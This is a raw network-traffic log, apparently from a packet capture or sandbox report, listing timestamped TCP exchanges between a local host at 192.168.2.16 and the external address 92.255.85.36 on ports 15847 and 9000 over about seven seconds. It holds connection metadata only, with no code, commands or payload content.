Feb 27, 2025 20:26:22.688271046 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.719504118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.724566936 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.732333899 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.780822039 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.798183918 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.841443062 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.877713919 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.928235054 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.957616091 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.962583065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.962668896 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.964817047 CET	9000	52699	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.964963913 CET	9000	52699	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:22.965037107 CET	52699	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.965054989 CET	52699	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:22.970057011 CET	9000	52699	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.004741907 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.037791967 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.042887926 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.069864988 CET	52700	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.075032949 CET	9000	52700	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.075123072 CET	52700	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.075225115 CET	52700	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.080207109 CET	9000	52700	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.083962917 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.117484093 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.123219967 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.199225903 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.205151081 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.211787939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.260823965 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.277729988 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.328222990 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.340799093 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.357561111 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.362685919 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.436551094 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.441669941 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.448714018 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.499732018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.516494989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.564337969 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.576782942 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.596532106 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.602078915 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.678472996 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.683574915 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.691560984 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.740200043 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.756562948 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.780550957 CET	9000	52700	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.780706882 CET	9000	52700	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.780720949 CET	52700	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.780924082 CET	52700	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.785773039 CET	9000	52700	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.808269024 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.820802927 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.838278055 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.843494892 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.884529114 CET	52701	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.889671087 CET	9000	52701	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.889759064 CET	52701	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.889878035 CET	52701	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.894923925 CET	9000	52701	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.916506052 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.921626091 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.933341026 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:23.979979992 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:23.996438980 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.048299074 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.065171957 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.076529026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.081636906 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.156505108 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.161539078 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.176024914 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.219099045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.235532999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.284327030 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.304950953 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.317712069 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.323024988 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.393521070 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.398806095 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.418651104 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.471765995 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.472357988 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.520337105 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.553838015 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.559040070 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.561552048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.604090929 CET	9000	52701	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.604262114 CET	9000	52701	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.604264021 CET	52701	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.604396105 CET	52701	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.609529018 CET	9000	52701	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.614698887 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.633316994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.662791967 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.710716963 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.711486101 CET	52702	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.712340117 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.716568947 CET	9000	52702	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.716672897 CET	52702	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.716730118 CET	52702	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.721718073 CET	9000	52702	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.760296106 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.786312103 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.791590929 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.806734085 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.871493101 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.877115965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.905858040 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:24.949723005 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.950283051 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:24.996278048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.030464888 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.035732031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.036719084 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.077713966 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.111387968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.147806883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.189714909 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.190401077 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.240506887 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.270427942 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.270991087 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.276535034 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.348500013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.354142904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.420465946 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.428283930 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.433955908 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.465100050 CET	9000	52702	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.465255022 CET	9000	52702	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.465256929 CET	52702	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.465301037 CET	52702	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.470915079 CET	9000	52702	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.508465052 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.514225960 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.541151047 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.572292089 CET	52703	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.577411890 CET	9000	52703	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.577495098 CET	52703	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.577559948 CET	52703	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.582941055 CET	9000	52703	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.587744951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.589338064 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.636271000 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.668519974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.672697067 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.673608065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.716046095 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.748312950 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.753390074 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.783844948 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.827753067 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.828340054 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.876333952 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.908401966 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.912755966 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.913566113 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:25.955890894 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.972327948 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:25.977402925 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.026551008 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.037472010 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.042742014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.115537882 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.120981932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.147718906 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.179567099 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.209584951 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.243419886 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.273313999 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.283787012 CET	9000	52703	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.283941984 CET	9000	52703	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.283977985 CET	52703	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.284075975 CET	52703	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.289037943 CET	9000	52703	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.308017969 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.360280991 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.371354103 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.376430988 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.387322903 CET	52704	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.392498970 CET	9000	52704	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.392695904 CET	52704	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.392695904 CET	52704	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.397795916 CET	9000	52704	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.401706934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.436655045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.488301992 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.499456882 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.508418083 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.548829079 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.563695908 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.568963051 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.627403975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.632657051 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.657512903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.691308975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.740319014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.755381107 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.760612965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.785806894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.821346045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.872298002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.883763075 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.888952971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.915082932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:26.947438002 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:26.996294022 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.011518955 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.017390966 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.044805050 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.075382948 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.126101971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.136620998 CET	9000	52704	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.136639118 CET	9000	52704	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.136724949 CET	52704	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.136807919 CET	52704	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.139422894 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.143337011 CET	9000	52704	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.147075891 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.171660900 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.205115080 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.252253056 CET	52705	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.252275944 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.257911921 CET	9000	52705	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.257985115 CET	52705	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.258085012 CET	52705	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.263071060 CET	9000	52705	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.267554998 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.272597075 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.298691034 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.332329988 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.384318113 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.395427942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.400603056 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.427006006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.459346056 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.508305073 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.524210930 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.529310942 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.553056955 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.590225935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.636317015 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.651308060 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.656414986 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.683909893 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.715336084 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.745002985 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.779283047 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.828394890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.843379974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.848989010 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.872925997 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.907691002 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.945199966 CET	9000	52705	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.945384979 CET	52705	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.945441008 CET	9000	52705	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.945509911 CET	52705	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.951096058 CET	9000	52705	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.956259012 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:27.973108053 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:27.978250980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.001410961 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.035278082 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.051915884 CET	52706	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.057780981 CET	9000	52706	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.057859898 CET	52706	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.057931900 CET	52706	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.063970089 CET	9000	52706	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.088280916 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.099344969 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.104528904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.128937006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.164216042 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.212244987 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.227356911 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.232419014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.263468981 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.291362047 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.344316006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.356323004 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.361392021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.394006014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.420392036 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.468262911 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.483367920 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.501405001 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.514084101 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.547353029 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.596436977 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.611486912 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.616635084 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.641284943 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.674264908 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.720484018 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.739078999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.744271994 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.768125057 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.775938034 CET	9000	52706	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.776092052 CET	9000	52706	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.776093960 CET	52706	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.776356936 CET	52706	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.781148911 CET	9000	52706	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.802200079 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.848511934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.866281033 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.871562958 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.882241011 CET	52707	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.887454987 CET	9000	52707	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.887531042 CET	52707	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.887623072 CET	52707	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.892627954 CET	9000	52707	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.895916939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.930193901 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.976418018 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:28.994431973 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:28.999622107 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.024099112 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.058239937 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.108428955 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.124618053 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.129952908 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.152231932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.186263084 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.229765892 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.250461102 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:29.300306082 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:29.314352036 CET	52668	15847	192.168.2.16	92.255.85.36
